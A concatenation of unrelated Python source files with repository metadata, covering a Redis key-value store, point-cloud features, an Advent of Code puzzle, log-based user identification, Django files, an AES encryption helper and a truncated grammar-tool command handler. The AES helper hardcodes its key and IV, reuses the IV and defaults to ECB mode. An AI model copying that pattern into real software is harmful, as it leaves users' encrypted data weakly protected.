refs/heads/master
2021-01-10T01:20:10.930559
2015-11-10T23:46:03
2015-11-10T23:46:03
45,947,907
0
1
null
null
null
null
UTF-8
Python
false
false
177
py
import os, sys import json def read_solver_json_info(json_path): """Just load the JSON file to a dict""" with open(json_path) as f: info = json.load(f) return info
6c8e17c61413277ebaf50ae3bdc4f8fabfedd6e5
3600c277b1ab5f2d886c0497cd46a8d6ad9897b5
/venv/Lib/site-packages/simplekv-0.12.0-py3.7.egg/simplekv/memory/redisstore.py
5e2b5ca9ef4792d2baf42d2146d137002f2ed09b
[ "MIT" ]
permissive
phurinaix/issue-credential
eaedd492cab1afe967492ffe30b9a3f7e8fb6c74
2757f65a0f8cbcdd9593aa669e155c1b91c863c2
refs/heads/master
2022-10-26T06:38:57.366825
2019-06-24T01:02:54
2019-06-24T01:02:54
189,159,119
0
1
MIT
2022-10-15T11:19:44
2019-05-29T05:53:40
Python
UTF-8
Python
false
false
1,824
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from io import BytesIO from .. import KeyValueStore, TimeToLiveMixin, NOT_SET, FOREVER import re class RedisStore(TimeToLiveMixin, KeyValueStore): """Uses a redis-database as the backend. :param redis: An instance of :py:class:`redis.StrictRedis`. """ def __init__(self, redis): self.redis = redis def _delete(self, key): return self.redis.delete(key) def keys(self, prefix=u""): return list(map(lambda b: b.decode(), self.redis.keys(pattern=re.escape(prefix) + '*'))) def iter_keys(self, prefix=u""): return iter(self.keys(prefix)) def _has_key(self, key): return self.redis.exists(key) def _get(self, key): val = self.redis.get(key) if val is None: raise KeyError(key) return val def _get_file(self, key, file): file.write(self._get(key)) def _open(self, key): return BytesIO(self._get(key)) def _put(self, key, value, ttl_secs): if ttl_secs in (NOT_SET, FOREVER): # if we do not care about ttl, just use set # in redis, using SET will also clear the timeout # note that this assumes that there is no way in redis # to set a default timeout on keys self.redis.set(key, value) else: ittl = None try: ittl = int(ttl_secs) except ValueError: pass # let it blow up further down if ittl == ttl_secs: self.redis.setex(key, ittl, value) else: self.redis.psetex(key, int(ttl_secs * 1000), value) return key def _put_file(self, key, file, ttl_secs): self._put(key, file.read(), ttl_secs) return key
001bfb3a41b69b7d495485b584c846cb727a1133
aebbf23d927c5204aab4a7b9b2de931c3ac89b07
/src/sensor_stick/features.py
c0302620dac12d05730552c94826c2dca12ffde1
[]
no_license
esraaelelimy/sensor_stick
b0d01c599afecf842285f3176b113fc71da95612
1a5bf4df026e37e124d62356b7c2be3baa24dd53
refs/heads/master
2021-09-03T16:08:14.624177
2018-01-10T09:50:59
2018-01-10T09:50:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,694
py
import matplotlib.colors import matplotlib.pyplot as plt import numpy as np from pcl_helper import * def rgb_to_hsv(rgb_list): rgb_normalized = [1.0*rgb_list[0]/255, 1.0*rgb_list[1]/255, 1.0*rgb_list[2]/255] hsv_normalized = matplotlib.colors.rgb_to_hsv([[rgb_normalized]])[0][0] return hsv_normalized def compute_color_histograms(cloud, using_hsv=False): # Compute histograms for the clusters point_colors_list = [] # Step through each point in the point cloud for point in pc2.read_points(cloud, skip_nans=True): rgb_list = float_to_rgb(point[3]) if using_hsv: point_colors_list.append(rgb_to_hsv(rgb_list) * 255) else: point_colors_list.append(rgb_list) # Populate lists with color values channel_1_vals = [] channel_2_vals = [] channel_3_vals = [] for color in point_colors_list: channel_1_vals.append(color[0]) channel_2_vals.append(color[1]) channel_3_vals.append(color[2]) # TODO: Compute histograms channel_1_hist = np.histogram(channel_1_vals, bins=32, range=(0, 256)) channel_2_hist = np.histogram(channel_2_vals, bins=32, range=(0, 256)) channel_3_hist = np.histogram(channel_3_vals, bins=32, range=(0, 256)) # TODO: Concatenate and normalize the histograms # Concatenate the histograms into a single feature vector hist_features = np.concatenate((channel_1_hist[0], channel_2_hist[0], channel_3_hist[0])).astype(np.float64) # Normalize the result norm_features = hist_features / np.sum(hist_features) normed_features = norm_features return normed_features def compute_normal_histograms(normal_cloud): norm_x_vals = [] norm_y_vals = [] norm_z_vals = [] for norm_component in pc2.read_points(normal_cloud, field_names = ('normal_x', 'normal_y', 'normal_z'), skip_nans=True): norm_x_vals.append(norm_component[0]) norm_y_vals.append(norm_component[1]) norm_z_vals.append(norm_component[2]) # TODO: Compute histograms of normal values (just like with color) norm_x_hist = np.histogram(norm_x_vals, bins=32, range=(-1, 1)) norm_y_hist = np.histogram(norm_y_vals, bins=32, range=(-1, 1)) norm_z_hist = np.histogram(norm_z_vals, bins=32, range=(-1, 1)) # TODO: Concatenate and normalize the histograms hist_features = np.concatenate((norm_x_hist[0], norm_y_hist[0], norm_z_hist[0])).astype(np.float64) # Normalize the result norm_features = hist_features / np.sum(hist_features) normed_features = norm_features return normed_features
0977cabaf7b5299a5fa7de2b407e524e78bceb42
546d94910c6f8178bb8589276823fe17594031bf
/2020/day20.py
b41032254e0339c0b0ec3150463c6df3005b2d36
[]
no_license
ashbob999/Advent-of-Code
c567aa8f66dedc17843febd280b5462d557c5c1c
b4415ac42b434026c7bf0516bab2d4d556adc89d
refs/heads/master
2023-01-18T15:10:42.726205
2022-12-30T17:43:42
2022-12-30T17:43:42
225,138,104
1
0
null
2019-12-03T13:45:07
2019-12-01T09:46:22
Python
UTF-8
Python
false
false
8,869
py
from typing import Callable from os.path import isfile, join as path_join file_name = path_join('input', 'day20.txt') file_name = path_join("..", "..", "..", "Download", "20-1.txt") def to_list(mf: Callable = int, sep='\n'): return [mf(x) for x in open(file_name).read().split(sep) if x] def to_gen(mf: Callable = int, sep='\n'): return (mf(x) for x in open(file_name).read().split(sep) if x) if not isfile(file_name): from aoc import get_input_file get_input_file(session_path=['..', '.env']) from math import sqrt data = to_list(mf=str, sep="\n\n") adata = "Tile 2311:_..##.#..#._##..#....._#...##..#._####.#...#_##.##.###._##...#.###_.#.#.#..##_..#....#.._###...#.#._..###..###__Tile 1951:_#.##...##._#.####...#_.....#..##_#...######_.##.#....#_.###.#####_###.##.##._.###....#._..#.#..#.#_#...##.#..__Tile 1171:_####...##._#..##.#..#_##.#..#.#._.###.####._..###.####_.##....##._.#...####._#.##.####._####..#..._.....##...__Tile 1427:_###.##.#.._.#..#.##.._.#.##.#..#_#.#.#.##.#_....#...##_...##..##._...#.#####_.#.####.#._..#..###.#_..##.#..#.__Tile 1489:_##.#.#...._..##...#.._.##..##..._..#...#..._#####...#._#..#.#.#.#_...#.#.#.._##.#...##._..##.##.##_###.##.#..__Tile 2473:_#....####._#..#.##..._#.##..#..._######.#.#_.#...#.#.#_.#########_.###.#..#._########.#_##...##.#._..###.#.#.__Tile 2971:_..#.#....#_#...###..._#.#.###..._##.##..#.._.#####..##_.#..####.#_#..#.#..#._..####.###_..#.#.###._...#.#.#.#__Tile 2729:_...#.#.#.#_####.#...._..#.#....._....#..#.#_.##..##.#._.#.####..._####.#.#.._##.####..._##..#.##.._#.##...##.__Tile 3079:_#.#.#####._.#..######_..#......._######...._####.#..#._.#...#.##._#.#####.##_..#.###..._..#......._..#.###...".replace( "_", "\n").split("\n\n") tiles = [t.split("\n") for t in data] tiles = {int(t[0].split(" ")[1][:-1]): t[1:] for t in tiles} size = int(sqrt(len(tiles))) # 2297 / 2311 #tw = len(tiles[2297][0]) #th = len(tiles[2297]) tw = len(list(tiles.values())[0][0]) th = len(list(tiles.values())[0]) # print(len(tiles), size, tw, th) sides = {} all_sides = set() for id, tile in tiles.items(): arr = set() arr.add(tile[0]) arr.add(tile[0][::-1]) arr.add(tile[-1]) arr.add(tile[-1][::-1]) ls = "".join(tile[i][0] for i in range(len(tile))) rs = "".join(tile[i][-1] for i in range(len(tile))) arr.add("".join(ls)) arr.add(ls[::-1]) arr.add("".join(rs)) arr.add(rs[::-1]) sides[id] = arr all_sides.update(arr) m_count = {} m_bords = set() c_id = {2: [], 3: [], 4: []} all_sides = set() def part1(): for k, v in sides.items(): m_count[k] = set() for k2, v2 in sides.items(): if k == k2: continue if v & v2: m_bords.add((frozenset((k, k2)), frozenset(v & v2))) m_count[k].add(k2) all_sides.update(v & v2) p = 1 # print(len(m_bords)) for id, ms in m_count.items(): # print(id, len(ms)) c_id[len(ms)].append(id) if len(ms) == 2: p *= id # for i in c_id.keys(): # print(i, len(c_id[i])) print(p) image = [[None] * size for _ in range(size)] img_ids = [[None] * size for _ in range(size)] def flip(tile, dir): if dir == 0: return [tile[i] for i in range(len(tile) - 1, -1, -1)] elif dir == 1: return [t[::-1] for t in tile] def transpose(tile): return ["".join(x) for x in zip(*tile)] def rotate(tile, dir): if dir == 0: return tile if dir == 90: tile = transpose(tile) return flip(tile, 1) def get_adj(id): return list(filter(lambda x: id in x[0], m_bords)) locked = {id: [False, False, False, False] for id in tiles.keys()} been_placed = set() def get_next(adj, pid, count): for ad in adj: # print(ad) n_id = list(ad[0] ^ set([pid]))[0] if n_id in c_id[count] and n_id not in been_placed: return n_id def fill_row(start, end, col, count): for x in range(start, end - 1): pid = img_ids[col][x - 1] adj = get_adj(pid) curr_id = get_next(adj, pid, count) if curr_id: img_ids[col][x] = curr_id been_placed.add(curr_id) def fill_col(start, end, row, count): for x in range(start, end - 1): pid = img_ids[x - 1][row] adj = get_adj(pid) curr_id = get_next(adj, pid, count) if curr_id: img_ids[x][row] = curr_id been_placed.add(curr_id) def get_side(x, y, loc): # assumes pid orientation is correct # cadj = get_adj(cid) # sides = list(filter(lambda x: cid in x[0] and pid in x[0], m_bords)) if loc == 0: return image[y][x][0] elif loc == 2: return image[y][x][-1] elif loc == 1: return "".join([t[-1] for t in image[y][x]]) elif loc == 3: return "".join([t[0] for t in image[y][x]]) def gs(tile, loc): if loc == 0: return tile[0] elif loc == 2: return tile[-1] elif loc == 1: return "".join([t[-1] for t in tile]) elif loc == 3: return "".join([t[0] for t in tile]) def o_to_fit(cid, side, loc): tile = tiles[cid] while gs(tile, loc) != side and gs(tile, loc) != side[::-1]: tile = rotate(tile, 90) if gs(tile, loc) == side: return tile elif loc in (0, 2): return flip(tile, 1) elif loc in (1, 3): return flip(tile, 0) def part2(): c1 = c_id[2][0] c1_tile = tiles[c1] c1_adj = get_adj(c1) # print(c1_adj) # top left img_ids[0][0] = c1 been_placed.add(c1) # top row fill_row(1, size, 0, 3) # top right pid = img_ids[0][-2] adj = get_adj(pid) img_ids[0][-1] = get_next(adj, pid, 2) been_placed.add(img_ids[0][-1]) # left col fill_col(1, size, 0, 3) # bottom left pid = img_ids[-2][0] adj = get_adj(pid) img_ids[-1][0] = get_next(adj, pid, 2) been_placed.add(img_ids[-1][0]) # bottom row fill_row(1, size, -1, 3) # right col fill_col(1, size, -1, 3) # bottom right pid = img_ids[-1][-2] adj = get_adj(pid) img_ids[-1][-1] = get_next(adj, pid, 2) been_placed.add(img_ids[-1][-1]) # fill guts for y in range(1, size - 1): for x in range(1, size - 1): pid1 = img_ids[y - 1][x] pid2 = img_ids[y][x - 1] adj1 = get_adj(pid1) adj2 = get_adj(pid2) for ad1 in adj1: for ad2 in adj2: nv = (ad1[0] ^ set([pid1])) & (ad2[0] ^ set([pid2])) if nv: nvv = list(nv)[0] if nvv not in been_placed: n_id = nvv img_ids[y][x] = n_id been_placed.add(n_id) # for r in img_ids: # print(r) # rotate first tile to match tile = tiles[img_ids[0][0]] cid = img_ids[0][0] tid = img_ids[0][1] adj_side = list(filter(lambda x: tid in x[0], get_adj(cid)))[0] tar_side = list(adj_side[1])[0] while gs(tile, 1) != tar_side and gs(tile, 1) != tar_side[::-1]: tile = rotate(tile, 90) if gs(tile, 2) not in all_sides: tile = flip(tile, 0) image[0][0] = tile # rotate tile to match # top row for x in range(1, size): cid = img_ids[0][x] side = get_side(x - 1, 0, 1) ct = o_to_fit(cid, side, 3) image[0][x] = ct # do left col for y in range(1, size): cid = img_ids[y][0] side = get_side(0, y - 1, 2) ct = o_to_fit(cid, side, 0) image[y][0] = ct for y in range(1, size): for x in range(1, size): cid = img_ids[y][x] side = get_side(x, y - 1, 2) ct = o_to_fit(cid, side, 0) image[y][x] = ct # remove border for y in range(len(image)): for x in range(len(image[0])): tile = image[y][x] image[y][x] = [r[1:-1] for r in tile[1:-1]] # merge them # 3d -> 2d new_image = [] for row in image: new_row = [] for h in range(len(row[0])): new_row_val = "" for i in range(len(image[0])): new_row_val += row[i][h] new_row.append(new_row_val) new_image.append(new_row) # 2d -> 1d new_image = [x for l in new_image for x in l] # check for monsters smw = 20 smh = 3 def is_monster(x, y, image): if image[y + 1][x] == ".": return False if image[y + 2][x + 1] == ".": return False if image[y + 2][x + 4] == ".": return False if image[y + 1][x + 5] == ".": return False if image[y + 1][x + 6] == ".": return False if image[y + 2][x + 7] == ".": return False if image[y + 2][x + 10] == ".": return False if image[y + 1][x + 11] == ".": return False if image[y + 1][x + 12] == ".": return False if image[y + 2][x + 13] == ".": return False if image[y + 2][x + 16] == ".": return False if image[y + 1][x + 17] == ".": return False if image[y + 1][x + 18] == ".": return False if image[y][x + 18] == ".": return False if image[y + 1][x + 19] == ".": return False return True def get_count(image): count = 0 for y in range(len(image) - smh): for x in range(len(image[0]) - smw): if is_monster(x, y, image): count += 1 return count max_count = 0 # create all orientations images = [] for i in range(4): tmp_img = new_image for j in range(i): tmp_img = rotate(tmp_img, 90) images.append(tmp_img) images.append(flip(tmp_img, 0)) images.append(flip(tmp_img, 1)) for img in images: max_count = max(max_count, get_count(img)) sm_count = max_count * 15 hash_count = sum(x.count("#") for x in new_image) print(hash_count - sm_count) part1() part2()
adda4d5ae190df85d65f0baa347f29106c2ae75a
3b3b92e2c1c7ea4886543077f79c3f910e06abb1
/random_quantum.py
d73931082f3cea3bb4782083eeb91ea3893423d7
[]
no_license
lavis0/qtetris
7896507ebe271309dc5d3e3e5fbcb5e5f356d924
eb5ad61ecdca84457b9ae64d08cbeaad0edbea3f
refs/heads/master
2020-09-11T14:06:40.624465
2019-12-04T15:42:16
2019-12-04T15:42:16
222,091,570
5
0
null
null
null
null
UTF-8
Python
false
false
403
py
from microqiskit import QuantumCircuit, simulate qc = QuantumCircuit(1, 1) qc.h(0) qc.measure(0, 0) counts = simulate(qc, 1, '') def qRand(nMsrmnts): results = [] for i in range(nMsrmnts): results += simulate(qc, 1, '')[0] binary = '' for i in range(len(results)): binary += results[i] decimal = int(binary, 2) return decimal print(qRand(4))
fd8731112a888fc604318ef88a6131069b15e082
0fb22996983a4f034882e115ba97e3751601f542
/main.py
1698d7a25b3b39e1b3516571b0bbe75d3429290c
[]
no_license
johnnylin110/Networksecurity-Project2
a88663f631b219c3231f9318bf69f83bf9d37ea8
33d415a485a37ab60aca155f301ed2795a045fcd
refs/heads/master
2022-10-18T11:08:10.898729
2020-06-16T14:58:55
2020-06-16T14:58:55
272,732,989
0
0
null
null
null
null
UTF-8
Python
false
false
9,466
py
import re import numpy as np exe_file_name = dict() query_name = dict() all_ip = dict() Event_IDs = dict() train_num_person = 6 test_num_person = 2 testing_num = 2 testing_dir = 'Example Test' #################################### #################################### # Data Preprocessing #################################### #################################### # Count every ".exe file name" and "QuaryName" appear in Sysmon.xml as "exe_file_name" and "query_name" respectively. for i in range(1,train_num_person+1): with open('./Logs/Train/Person_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group() for x in re.finditer('([A-Z]|[a-z]|[0-9]|\+|\-|\_|[â-û])+' + '.exe' ,file)] for j in ans: exe_file_name[j] = 0.0 ans = [x.group()[23: len(x.group())-7] for x in re.finditer("<Data Name='QueryName'>" + '([A-Z]|[a-z]|[0-9]|\+|\-|\_|\.|[â-û])+' + '</Data>' ,file)] for j in ans: query_name[j] = 0.0 for i in range(1,test_num_person+1): with open('./Logs/Example Test/Test_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group() for x in re.finditer('([A-Z]|[a-z]|[0-9]|\+|\-|\_|[â-û])+' + '.exe',file)] for j in ans: exe_file_name[j] = 0.0 ans = [x.group()[23: len(x.group())-7] for x in re.finditer("<Data Name='QueryName'>" + '([A-Z]|[a-z]|[0-9]|\+|\-|\_|\.|[â-û])+' + '</Data>' ,file)] for j in ans: query_name[j] = 0.0 # Count every "IP" appear in Person_{1,6}_IP.txt as "all_ip" for i in range(1,train_num_person+1): with open('./Logs/Train/Person_' + str(i) + '/Person_' + str(i) + '_IP.txt', 'r') as filehandle: f=filehandle.read() ans = [x.group() for x in re.finditer('[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}',f)] # Get fisrt 3 value of IP. for j in ans: all_ip[j] = 0 for i in range(1,test_num_person+1): with open('./Logs/Example Test/Test_' + str(i) + '/Test_Person_' + str(i) + '_IP.txt', 'r') as filehandle: f=filehandle.read() ans = [x.group() for x in re.finditer('[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}',f)] for j in ans: all_ip[j] = 0 # Count every "EventID" appear in Security.xml as "Event_IDs" for i in range(1,train_num_person+1): with open('./Logs/Train/Person_' + str(i) + '/Security.xml', 'r',encoding="utf-8") as filehandle: f=filehandle.read() ans = [x.group()[9: len(x.group())-10] for x in re.finditer('<EventID>' + '[0-9]+' + '</EventID>' ,f)] for j in ans: Event_IDs[j] = 0.0 for i in range(1,test_num_person+1): with open('./Logs/Example Test/Test_' + str(i) + '/Security.xml', 'r',encoding="utf-8") as filehandle: f=filehandle.read() ans = [x.group()[9: len(x.group())-10] for x in re.finditer('<EventID>' + '[0-9]+' + '</EventID>' ,f)] for j in ans: Event_IDs[j] = 0.0 #################################### #################################### # Compute User Information Vector #################################### #################################### # Compute ".exe file" statistical vactor of every training data and testing data train_total_count_exe = [] for i in range(1,train_num_person+1): with open('./Logs/Train/Person_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group() for x in re.finditer('([A-Z]|[a-z]|[0-9]|\+|\-|\_|[â-û])+' + '.exe',file)] temp = exe_file_name.copy() for j in ans: temp[j] += 1.0 train_total_count_exe.append(list(temp.values())) for j in range(len(train_total_count_exe[i-1])): if len(ans) > 0 : train_total_count_exe[i-1][j] /= len(ans) test_total_count_exe = [] for i in range(1,testing_num+1): with open('./Logs/' + testing_dir +'/Test_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group() for x in re.finditer('([A-Z]|[a-z]|[0-9]|\+|\-|\_|[â-û])+' + '.exe',file)] temp = exe_file_name.copy() for j in ans: temp[j] += 1 test_total_count_exe.append(list(temp.values())) for j in range(len(test_total_count_exe[i-1])): if len(ans) > 0 : test_total_count_exe[i-1][j] /= len(ans) # Compute "QuaryName" statistical vactor of every training data and testing data train_total_count_quaryname = [] for i in range(1,train_num_person+1): with open('./Logs/Train/Person_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group()[23: len(x.group())-7] for x in re.finditer("<Data Name='QueryName'>" + '([A-Z]|[a-z]|[0-9]|\+|\-|\_|\.|[â-û])+' + '</Data>' ,file)] temp = query_name.copy() for j in ans: temp[j] += 1.0 train_total_count_quaryname.append(list(temp.values())) for j in range(len(train_total_count_quaryname[i-1])): if len(ans) > 0 : train_total_count_quaryname[i-1][j] /= len(ans) test_total_count_quaryname = [] for i in range(1,testing_num+1): with open('./Logs/' + testing_dir +'/Test_'+str(i)+'/Sysmon.xml',encoding="utf-8") as f: file=f.read() ans = [x.group()[23: len(x.group())-7] for x in re.finditer("<Data Name='QueryName'>" + '([A-Z]|[a-z]|[0-9]|\+|\-|\_|\.|[â-û])+' + '</Data>' ,file)] temp = query_name.copy() for j in ans: temp[j] += 1 test_total_count_quaryname.append(list(temp.values())) for j in range(len(test_total_count_quaryname[i-1])): if len(ans) > 0 : test_total_count_quaryname[i-1][j] /= len(ans) # Compute "IP" statistical vactor of every training data and testing data train_total_count_IP = [] for i in range(1,train_num_person+1): with open('./Logs/Train/Person_' + str(i) + '/Person_' + str(i) + '_IP.txt', 'r') as filehandle: f=filehandle.read() ans = [x.group() for x in re.finditer('[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}',f)] temp = all_ip.copy() for j in ans: temp[j] += 1.0 train_total_count_IP.append(list(temp.values())) for j in range(len(train_total_count_IP[i-1])): if len(ans) > 0 : train_total_count_IP[i-1][j] /= len(ans) test_total_count_IP = [] for i in range(1,testing_num+1): with open('./Logs/' + testing_dir +'/Test_' + str(i) + '/Test_Person_'+str(i)+'_IP.txt', 'r') as filehandle: f=filehandle.read() ans = [x.group() for x in re.finditer('[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}',f)] temp = all_ip.copy() for j in ans[1:-1]: temp[j] += 1 test_total_count_IP.append(list(temp.values())) for j in range(len(test_total_count_IP[i-1])): if len(ans) > 0 : test_total_count_IP[i-1][j] /= len(ans) # Compute "EventID" statistical vactor of every training data and testing data train_total_count_eventID = [] for i in range(1,train_num_person+1): with open('./Logs/Train/Person_'+str(i)+'/Security.xml',encoding="utf-8") as f: file=f.read() ans = [x.group()[9: len(x.group())-10] for x in re.finditer('<EventID>' + '[0-9]+' + '</EventID>' ,file)] temp = Event_IDs.copy() for j in ans: temp[j] += 1.0 train_total_count_eventID.append(list(temp.values())) for j in range(len(train_total_count_eventID[i-1])): if len(ans) > 0 : train_total_count_eventID[i-1][j] /= len(ans) test_total_count_eventID = [] for i in range(1,testing_num+1): with open('./Logs/' + testing_dir +'/Test_'+str(i)+'/Security.xml',encoding="utf-8") as f: file=f.read() ans = [x.group()[9: len(x.group())-10] for x in re.finditer('<EventID>' + '[0-9]+' + '</EventID>' ,file)] temp = Event_IDs.copy() for j in ans: temp[j] += 1 test_total_count_eventID.append(list(temp.values())) for j in range(len(test_total_count_eventID[i-1])): if len(ans) > 0 : test_total_count_eventID[i-1][j] /= len(ans) #################################### #################################### # Compute L1-norm of (test vector - train vector) #################################### #################################### # Compute norm of the vector = [testing_data - training_data] for i in range(testing_num): exe_result=[] IP_result=[] quary_result=[] eventID_result=[] final_result=[] for j in range(train_num_person): exe_result.append(np.linalg.norm(np.array(test_total_count_exe[i])-np.array(train_total_count_exe[j]))) IP_result.append(np.linalg.norm(np.array(test_total_count_IP[i])-np.array(train_total_count_IP[j]))) quary_result.append(np.linalg.norm(np.array(test_total_count_quaryname[i])-np.array(train_total_count_quaryname[j]))) eventID_result.append(np.linalg.norm(np.array(test_total_count_eventID[i])-np.array(train_total_count_eventID[j]))) final_result.append(exe_result[j]*0.5+IP_result[j]*0.5+quary_result[j]*0.1+eventID_result[j]*0.01) # print(final_result[j]) # print(exe_result,IP_result,quary_result,eventID_result) print("testcase " + str(i+1) +": person " + str(np.argmin(final_result)+1))
1c4afa4aa507e5ab4670e9ad5fdd7ce0289ac332
562e3b36491348f73b84ee98a0d3b4b3e1c87432
/vulnsite_project/banking/migrations/0004_auto_20201117_2209.py
3483b01064e8a830e9fce2ab6caeb2704f0f9150
[]
no_license
russellcrowley/github-upload
26dcdb2504a5f81b8ba6e3e32217a59198c7d72e
17853eae361e4790ee1c6acaba48c7ff889a2845
refs/heads/master
2023-02-06T20:19:12.511048
2020-12-29T22:15:21
2020-12-29T22:15:21
325,391,349
0
0
null
null
null
null
UTF-8
Python
false
false
743
py
# Generated by Django 3.1.1 on 2020-11-17 22:09 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('banking', '0003_auto_20201117_2200'), ] operations = [ migrations.RemoveField( model_name='message', name='user', ), migrations.AddField( model_name='message', name='user', field=models.ForeignKey(default='1', on_delete=django.db.models.deletion.CASCADE, to='auth.user'), preserve_default=False, ), ]
708a60080183532bbf99bf327fc3efb9722a61ae
01aaba17fa6374d57ddeaacd9d0b6787aa30035e
/AES.py
62b28bca8cc174ed1212bfef784631826b9148c7
[]
no_license
Uruael/CypherBSK
791c5e05f97f3b2d116aa46e664e6f040e77f750
0d3ac45af0c3bd83f77e84bc2728213ddddfbac3
refs/heads/master
2022-12-27T19:33:00.547993
2020-09-17T08:15:03
2020-09-17T08:15:03
259,529,068
0
0
null
2020-09-17T08:15:04
2020-04-28T04:14:58
Python
UTF-8
Python
false
false
2,129
py
from Crypto.Cipher import AES as A appState = 1 def Get_BlockType(): modes = [None,A.MODE_ECB, A.MODE_CBC, A.MODE_CFB, None, A.MODE_OFB] no = appState["UI"]["blockopt"].get() return modes[int(no)] def AES_Init(passedState): global appState appState = passedState # Add AES subdirectory appState["AES"] = {"dictionary": "please"} # !!!!!Todo: Non-static key appState["AES"]["key"] = b"0123456789ABCDEF" # Block type for encoding appState["AES"]["blockopt"] = A.MODE_ECB # Initialization Vector coz we apparently need one Todo: Non-static IV appState["AES"]["IV"] = b"aeiouyaeiouy1234" def AES_encrypt(data, cipher): ret = [] for block in data: text = cipher.encrypt(block) ret.append(text) return ret def AES_decrypt(data, cipher): ret = [] for block in data: text = cipher.decrypt(block) ret.append(text) return ret def AES_GetCipher(key=None, blocktype=None): if key is None: key = appState["AES"]["key"] if blocktype is None: blocktype = Get_BlockType() if blocktype == 1: ret = A.new(key, blocktype) else: ret = A.new(key, blocktype, appState["AES"]["IV"]) return ret # Encrypt a byte data block def encrypt_bytes(data, cipher=None, key=None, blocktype=None): if cipher is None: cipher = AES_GetCipher(key, blocktype) if len(data) == 0: return i = 0 array = [] padding = (16 - (len(data) % 16)) % 16 data = data + (b"\x00" * padding) j = 10000 while i < len(data): array.append(cipher.encrypt(data[i:i+16])) i += 16 j -= 1 if j == 0: j = 10000 appState["UI"]["barAES"]["value"] = i / len(data) * 100 appState["UI"]["root"].update() padding = 0 ret = b''.join(array) return ret, padding def decrypt_bytes(data, cipher=None, key=None, blocktype=None): if cipher is None: cipher = AES_GetCipher(key, blocktype) array = [] i = 0 plz = bytearray(data) while len(plz) > i: array.append(plz[i:i + 16]) i += 16 # padded with x00 bytes, so size of the padding does not matter array = AES_decrypt(array, cipher) ret = b''.join(array) return ret
2f05ecd6d9cc54a4372b8af614e47ca2f364b4d1
284dff4606efdffecb1b16460da1c25d01912881
/source/accounts/admin.py
17aeb2648b46801f9f93f2b42510899c9c9d89bd
[]
no_license
MuctepK/exam-8
a5f5532ce98d23c5bd0bfd7263e7f142297e647e
93a8db8b26608031e7ab27baa8c5dd5770913505
refs/heads/master
2023-04-30T17:25:13.212126
2019-11-18T14:03:14
2019-11-18T14:03:14
222,095,351
0
0
null
2023-04-21T20:40:24
2019-11-16T12:22:36
Python
UTF-8
Python
false
false
384
py
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.contrib.auth.models import User from .models import Profile class ProfileInline(admin.StackedInline): model = Profile include = ['avatar'] class UserProfileAdmin(UserAdmin): inlines = [ProfileInline] admin.site.unregister(User) admin.site.register(User, UserProfileAdmin)
a80b63b541ac3a6d21273d2d3d36da35afc4c4bb
4f9f9cff82187adc77bb29f81e7e6e8984dca4a7
/pylfg/TUI/command.py
53423d1c427832117cccb0095d469762f277569e
[ "MIT" ]
permissive
Ars-Linguistica/PyLFG
645ad5542555d5af7f03dac1e78b84e092986d8d
6efc5debe7577aba61bb5892a7c7bacf6c73a8d5
refs/heads/main
2023-04-17T01:42:11.283696
2023-01-29T22:55:23
2023-01-29T22:55:23
586,289,901
2
3
MIT
2023-01-29T15:50:59
2023-01-07T16:04:32
Python
UTF-8
Python
false
false
5,168
py
import json class CommandHandler: def __init__(self, rule_list, lexicon_list, parse_tree): self.rule_list = rule_list self.lexicon_list = lexicon_list self.parse_tree = parse_tree def process(self, input_string): if input_string[0] == "$": # Process command command = input_string[1:] command_parts = command.split(" ") command_name = command_parts[0] command_args = command_parts[1:] getattr(self, command_name, self.invalid_command)(*command_args) else: # Analyze sentence self.parse_tree = parse_sentence(input_string, self.rule_list.items, self.lexicon_list.items) tree_view.set_tree(self.parse_tree) def display_rules(self): print("Current production rules:") for rule in self.rule_list.items: print(rule.text) def display_lexicon(self): print("Current lexicon entries:") for entry in self.lexicon_list.items: print(entry.text) def load_grammar(self, filepath): try: with open(filepath, "r") as f: grammar = json.load(f) for rule in grammar: lhs, rhs, c_structure_constraints = parse_rule(rule) self.rule_list.append(f"{lhs} → {' '.join(rhs)} {c_structure_constraints}") print(f"Grammar loaded from {filepath}") except Exception as e: print(f"Error loading grammar from {filepath}: {e}") def load_lexicon(self, filepath): try: with open(filepath, "r") as f: lexicon = json.load(f) for entry in lexicon: functional_labels = parse_lexicon_entry(entry) self.lexicon_list.append(f"{functional_labels}") print(f"Lexicon loaded from {filepath}") except Exception as e: print(f"Error loading lexicon from {filepath}: {e}") def save_grammar(self, filepath): try: grammar = [rule.text for rule in self.rule_list.items] with open(filepath, "w") as f: json.dump(grammar, f) print(f"Grammar saved to {filepath}") except Exception as e: print(f"Error saving grammar to {filepath}: {e}") def save_lexicon(self, filepath): try: lexicon = [entry.text for entry in self.lexicon_list.items] with open(filepath, "w") as f: json.dump(lexicon, f) print(f"Lexicon saved to {filepath}") except Exception as e: print(f"Error saving lexicon to {filepath}: {e}") def f_structure(self): if self.parse_tree is not None: f_structure = impose_constraints_in_tree(remove_unused_constraints(self.parse_tree, self.rule_list.items, self.lexicon_list.items), self.rule_list.items, self.lexicon_list.items) print("F-structure:") print(f_structure) else: print("No sentence has been analyzed yet.") def clear_rules(self): self.rule_list.clear() def clear_lexicon(self): self.lexicon_list.clear() def export_parse_tree(self, format): with open("parse_tree." + format, "w") as f: f.write(str(self.parse_tree)) def add_constraint(self, rule_or_entry, constraint): if rule_or_entry in self.rule_list.items: rule_or_entry.add_constraint(constraint) elif rule_or_entry in self.lexicon_list.items: rule_or_entry.add_constraint(constraint) else: print("Invalid rule/entry") def remove_constraint(self, rule_or_entry, constraint): if rule_or_entry in self.rule_list.items: rule_or_entry.remove_constraint(constraint) elif rule_or_entry in self.lexicon_list.items: rule_or_entry.remove_constraint(constraint) else: print("Invalid 